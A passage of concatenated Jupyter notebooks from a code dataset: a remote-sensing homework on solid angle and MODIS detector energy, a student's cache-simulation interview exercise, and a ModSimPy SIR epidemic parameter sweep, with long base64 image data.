n/IC5WvN52d6\n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\n", "text/plain": [ "<IPython.core.display.Image object>" ] }, "execution_count": 1, "metadata": {}, "output_type": "execute_result" } ], "source": [ "from IPython.display import Image\n", "Image('figures/full_triangle.png')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "starting with the exact formula:\n", "\n", "$$\\Delta \\omega = \\int d \\omega = \\int \\int \\,\\sin \\theta\\, d \\theta\\, d\\phi\\ \\ \\ \\ \\mathbf{eq: exact}$$\n", "\n", "with $\\theta$ going from 0 to $\\theta$ for the small angle case where \n", "\n", "$$\\sin \\theta \\approx \\theta$$\n", "\n", "and \n", "\n", "$$\\cos \\theta \\approx 1 $$\n", "\n", "Show that in this case the integral works out to:\n", "\n", "$$\\Delta \\omega = \\frac{\\pi (r)^2}{R^2} \\ \\ \\ \\ \\ \\mathbf{eq:approx}$$\n", "\n", "and that therefore if $L=L^*$ everywhere the flux integral\n", "\n", "$$ E = 2 \\pi \\int_0^{\\theta} L \\cos \\theta \\sin \\theta \\, d\\theta $$\n", "\n", "becomes\n", "\n", "$$E = L \\, \\Delta \\omega$$" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "---" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "b) Suppose $\\theta$ = 5 degrees above. What is the difference between the value of $\\Delta \\omega$ found by (eq:exact) and (eq:approx)?" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "---" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "c) According to the [Modis specs](https://modis.gsfc.nasa.gov/about/specifications.php) the instrument:\n", "\n", "1. Flies at an altitude of 705 km\n", "\n", "2. Makes a cross-track scan in about 0.05 seconds\n", "\n", "3. measures wavelengths with a wavelength range of $\\Delta \\lambda$ = 11.28 - 10.78 = 0.5 $\\mu m$ for channel 31\n", "\n", "4. and according to [this link](https://modis.gsfc.nasa.gov/about/focplane.php) has a detector with the largest detector area = $540 \\times 540\\ \\mu m^2$\n", "\n", "5. the pixel size directly underneath the satellite is 1 $km^2$\n", "\n", "Since there are about 1000 pixels in an across-track scan, let's assume that the dwell time on any one pixel is $0.05/1000$ = $5 \\times 10^{-5}$ seconds.\n", "\n", "Suppose we image a pixel that is emitting a radiance of $L_\\lambda = 10\\ W\\,m^{-2}\\,\\mu m^{-1}\\,sr^{-1}$. Given all of this information, find the energy, in Joules, that the detector receives from that pixel. (Hint: you enough information to calculate detector area, $\\Delta \\omega$, $\\Delta t$, $\\Delta \\lambda$ and $\\Delta area$, and $L_\\lambda = \n", "Joules /(area \\times wavelength\\ range \\times \\Delta t \\times \\Delta \\omega)$)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "anaconda-cloud": {}, "kernelspec": { "display_name": "Python [conda root]", "language": "python", "name": "conda-root-py" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.2" } }, "nbformat": 4, "nbformat_minor": 1 }

mit

TeamLab/lab_study_group

2018/CodingInterview/8주차/Hyuna/kakao_cache.ipynb

1

3931

{ "cells": [ { "cell_type": "code", "execution_count": 159, "metadata": { "collapsed": false }, "outputs": [], "source": [ "def cache():\n", " cache_size = int(input())\n", " raw_cities = input()\n", " raw_cities = list(raw_cities[raw_cities.index('[')+1 : raw_cities.index(']')].split(\",\"))\n", " cache = []\n", " running_time = []\n", " \n", " for i in raw_cities:\n", " i = i[i.index('“')+1 : i.index('”')]\n", " i = i.upper()\n", " \n", " if len(cache[0:cache_size+1]) < cache_size or cache_size == 0:\n", " cache.insert(0,i)\n", " running_time.append(5)\n", "\n", " elif i in cache[0:cache_size+1]:\n", " cache.insert(0,i)\n", " running_time.append(1)\n", " \n", " else:\n", " cache.insert(0,i)\n", " running_time.append(5)\n", "\n", " return sum(running_time)" ] }, { "cell_type": "code", "execution_count": 166, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "3\n", "\t[“Jeju”, “Pangyo”, “Seoul”, “NewYork”, “LA”, “Jeju”, “Pangyo”, “Seoul”, “NewYork”, “LA”]\n", "50\n" ] } ], "source": [ "print(cache())" ] }, { "cell_type": "code", "execution_count": 167, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "3\n", "[“Jeju”, “Pangyo”, “Seoul”, “Jeju”, “Pangyo”, “Seoul”, “Jeju”, “Pangyo”, “Seoul”]\n", "21\n" ] } ], "source": [ "print(cache())" ] }, { "cell_type": "code", "execution_count": 168, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2\n", "[“Jeju”, “Pangyo”, “Seoul”, “NewYork”, “LA”, “SanFrancisco”, “Seoul”, “Rome”, “Paris”, “Jeju”, “NewYork”, “Rome”]\n", "60\n" ] } ], "source": [ "print(cache())" ] }, { "cell_type": "code", "execution_count": 169, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "5\n", "\t[“Jeju”, “Pangyo”, “Seoul”, “NewYork”, “LA”, “SanFrancisco”, “Seoul”, “Rome”, “Paris”, “Jeju”, “NewYork”, “Rome”]\n", "52\n" ] } ], "source": [ "print(cache())" ] }, { "cell_type": "code", "execution_count": 170, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2\n", "\t[“Jeju”, “Pangyo”, “NewYork”, “newyork”]\n", "16\n" ] } ], "source": [ "print(cache())" ] }, { "cell_type": "code", "execution_count": 171, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "0\n", "[“Jeju”, “Pangyo”, “Seoul”, “NewYork”, “LA”]\n", "25\n" ] } ], "source": [ "print(cache())" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.0" } }, "nbformat": 4, "nbformat_minor": 2 }

mit

yugangzhang/CHX_Pipelines

2019_1/Good_Report/XPCS_Single_2019_V2Vis_uid=9f5b3f_pdf_template.ipynb

1

5741899

bsd-3-clause

AllenDowney/ModSimPy

soln/chap13soln.ipynb

1

209948

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Modeling and Simulation in Python\n", "\n", "Chapter 13\n", "\n", "Copyright 2017 Allen Downey\n", "\n", "License: [Creative Commons Attribution 4.0 International](https://creativecommons.org/licenses/by/4.0)\n" ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [], "source": [ "# Configure Jupyter so figures appear in the notebook\n", "%matplotlib inline\n", "\n", "# Configure Jupyter to display the assigned value after an assignment\n", "%config InteractiveShell.ast_node_interactivity='last_expr_or_assign'\n", "\n", "# import functions from the modsim.py module\n", "from modsim import *" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Code from previous chapters" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "`make_system`, `plot_results`, and `calc_total_infected` are unchanged." ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [], "source": [ "def make_system(beta, gamma):\n", " \"\"\"Make a system object for the SIR model.\n", " \n", " beta: contact rate in days\n", " gamma: recovery rate in days\n", " \n", " returns: System object\n", " \"\"\"\n", " init = State(S=89, I=1, R=0)\n", " init /= np.sum(init)\n", "\n", " t0 = 0\n", " t_end = 7 * 14\n", "\n", " return System(init=init, t0=t0, t_end=t_end,\n", " beta=beta, gamma=gamma)" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [], "source": [ "def plot_results(S, I, R):\n", " \"\"\"Plot the results of a SIR model.\n", " \n", " S: TimeSeries\n", " I: TimeSeries\n", " R: TimeSeries\n", " \"\"\"\n", " plot(S, '--', label='Susceptible')\n", " plot(I, '-', label='Infected')\n", " plot(R, ':', label='Recovered')\n", " decorate(xlabel='Time (days)',\n", " ylabel='Fraction of population')" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [], "source": [ "def calc_total_infected(results):\n", " \"\"\"Fraction of population infected during the simulation.\n", " \n", " results: DataFrame with columns S, I, R\n", " \n", " returns: fraction of population\n", " \"\"\"\n", " return get_first_value(results.S) - get_last_value(results.S)" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [], "source": [ "def run_simulation(system, update_func):\n", " \"\"\"Runs a simulation of the system.\n", " \n", " system: System object\n", " update_func: function that updates state\n", " \n", " returns: TimeFrame\n", " \"\"\"\n", " init, t0, t_end = system.init, system.t0, system.t_end\n", " \n", " frame = TimeFrame(columns=init.index)\n", " frame.row[t0] = init\n", " \n", " for t in linrange(t0, t_end):\n", " frame.row[t+1] = update_func(frame.row[t], t, system)\n", " \n", " return frame" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [], "source": [ "def update_func(state, t, system):\n", " \"\"\"Update the SIR model.\n", " \n", " state: State (s, i, r)\n", " t: time\n", " system: System object\n", " \n", " returns: State (sir)\n", " \"\"\"\n", " beta, gamma = system.beta, system.gamma\n", " s, i, r = state\n", "\n", " infected = beta * i * s \n", " recovered = gamma * i\n", " \n", " s -= infected\n", " i += infected - recovered\n", " r += recovered\n", " \n", " return State(S=s, I=i, R=r)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Sweeping beta" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Make a range of values for `beta`, with constant `gamma`." ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "0.2" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" } ], "source": [ "beta_array = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0 , 1.1]\n", "gamma = 0.2" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Run the simulation once for each value of `beta` and print total infections." ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "0.1 0.010756340768063644\n", "0.2 0.11898421353185373\n", "0.3 0.5890954199973404\n", "0.4 0.8013385277185551\n", "0.5 0.8965769637207062\n", "0.6 0.942929291399791\n", "0.7 0.966299311298026\n", "0.8 0.9781518959989762\n", "0.9 0.9840568957948106\n", "1.0 0.9868823507202488\n", "1.1 0.988148177093735\n" ] } ], "source": [ "for beta in beta_array:\n", " system = make_system(beta, gamma)\n", " results = run_simulation(system, update_func)\n", " print(system.beta, calc_total_infected(results))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Wrap that loop in a function and return a `SweepSeries` object." ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [], "source": [ "def sweep_beta(beta_array, gamma):\n", " \"\"\"Sweep a range of values for beta.\n", " \n", " beta_array: array of beta values\n", " gamma: recovery rate\n", " \n", " returns: SweepSeries that maps from beta to total infected\n", " \"\"\"\n", " sweep = SweepSeries()\n", " for beta in beta_array:\n", " system = make_system(beta, gamma)\n", " results = run_simulation(system, update_func)\n", " sweep[system.beta] = calc_total_infected(results)\n", " return sweep" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Sweep `beta` and plot the results." ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>values</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0.1</th>\n", " <td>0.010756</td>\n", " </tr>\n", " <tr>\n", " <th>0.2</th>\n", " <td>0.118984</td>\n", " </tr>\n", " <tr>\n", " <th>0.3</th>\n", " <td>0.589095</td>\n", " </tr>\n", " <tr>\n", " <th>0.4</th>\n", " <td>0.801339</td>\n", " </tr>\n", " <tr>\n", " <th>0.5</th>\n", " <td>0.896577</td>\n", " </tr>\n", " <tr>\n", " <th>0.6</th>\n", " <td>0.942929</td>\n", " </tr>\n", " <tr>\n", " <th>0.7</th>\n", " <td>0.966299</td>\n", " </tr>\n", " <tr>\n", " <th>0.8</th>\n", " <td>0.978152</td>\n", " </tr>\n", " <tr>\n", " <th>0.9</th>\n", " <td>0.984057</td>\n", " </tr>\n", " <tr>\n", " <th>1.0</th>\n", " <td>0.986882</td>\n", " </tr>\n", " <tr>\n", " <th>1.1</th>\n", " <td>0.988148</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ "0.1 0.010756\n", "0.2 0.118984\n", "0.3 0.589095\n", "0.4 0.801339\n", "0.5 0.896577\n", "0.6 0.942929\n", "0.7 0.966299\n", "0.8 0.978152\n", "0.9 0.984057\n", "1.0 0.986882\n", "1.1 0.988148\n", "dtype: float64" ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" } ], "source": [ "infected_sweep = sweep_beta(beta_array, gamma)" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Saving figure to file figs/chap13-fig01.pdf\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAagAAAEYCAYAAAAJeGK1AAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjAsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+17YcXAAAgAElEQVR4nO3dd5zU1b3/8ddW2oKAIB0p6geIFAEbNowaryVKJLEh/owk8WJLuJpqrhjL9cbEkmDBWK8BxSQWsCQhMRrFaAQLxYUPIljpfZdd2DLz++P7XRiW3WUWduq+n4/HPnbmzJn5fmbE+ez5fM/3nJxoNIqIiEi6yU11ACIiInVRghIRkbSkBCUiImlJCUpERNJSfqoDaGpm1gI4ElgFVKc4HBERaVge0A2Y6+47Yh/IugRFkJzeSHUQIiLSKCcAc2IbsjFBrQKYPn06Xbt2TXUsIiLSgNWrVzNu3DgIv7tjZWOCqgbo2rUrPXv2THUsIiISnz1OyWiShIiIpCUlKBERSUspKfGZ2VHAi+5+UD2P9wYeAY4B1gLXuPvLSQxRRERSLKkjKDPLMbPvALOBwga6zgAWAAcC3wVmmFm/JIQoIiJpItklvl8AE4Fb6+tgZocBI4Eb3b3C3f8BzAImJCdEERFJB8lOUFPdfQQwr4E+g4DP3H1bTNsSYHBCIxMRkbSS1HNQ7r4yjm5FQFmttjKgddNHJCKSeaLRKJFIlEg0SiQK0fB2NBo+tvN3TFtkV1tNeyQSJVpze7ffMbcjdbTFHOPgru3o1L5VQt5nOl4HtQ2o/W5bA6UpiEVEmolIJEpFVTU7KqqpqIywo7Jqt9sVlRF2VFQH7ZURqqojVFdHqI5EqaqOxtwOflfv/B2lKhKhujpKdfi7KuaxnW21++z2GpHgGDFt6aJ9UQueuOl0cnJymvy10zFBFQO9zayVu5eHbQPCdhFppiqrIpSUVVBSVhEkiopqdlSGPxXVVNRzu6ZPRcz9um5XVEVS/RYbJTcHcnNzyc2BnNyc4HdODjk5u27n5uSQs/N20K/247m59fSt3ZYb3N69Xw6DD+mUkOQEaZig3N3NbD5wm5n9FBgFnAscm9rIRKSpbK+oomRbJSVlFWzdtoOSbZVsLatg67YgAW0tDX/XtG2roHxHVcLjKszPpUVhHoUFebQoyKv/dkEe+fm55OXmkJ8X/M7Lq7m/63ZeXi75uTnk5eWQl5u783d+zP1dz6+jLeybW8dxcnMTkxTSSVokKDMbBzzo7kVh01jgdwTXQK0HJrj7olTFJ4m3ZMkSJk+ejLvTq1cvbrvtNoYMGVJn30WLFnH77bfj7hQVFfHNb36Tq666KmF/xUn9otEo5Tuq2LotJrmECSU2uezeXklFZeM3GsjNzaFd60KKWhfQqkV+kCwKdyWMmts17YX5ez5eWJBLi4L83W4XFuTu7N8cvvQzSUoSlLu/BrSPuT8dmB5z/3PgjORHJqlQUVHBlVdeyaWXXsq0adOYPXs2EyZM4NVXX6WoqGi3vuXl5VxxxRVMnDiRJ554gs8//5wJEybQuXNnLrjgghS9g+wUjUbZUlrBl+tK+XJdKSvXlbJqwza2lO5KOKVlFVRVN/58SE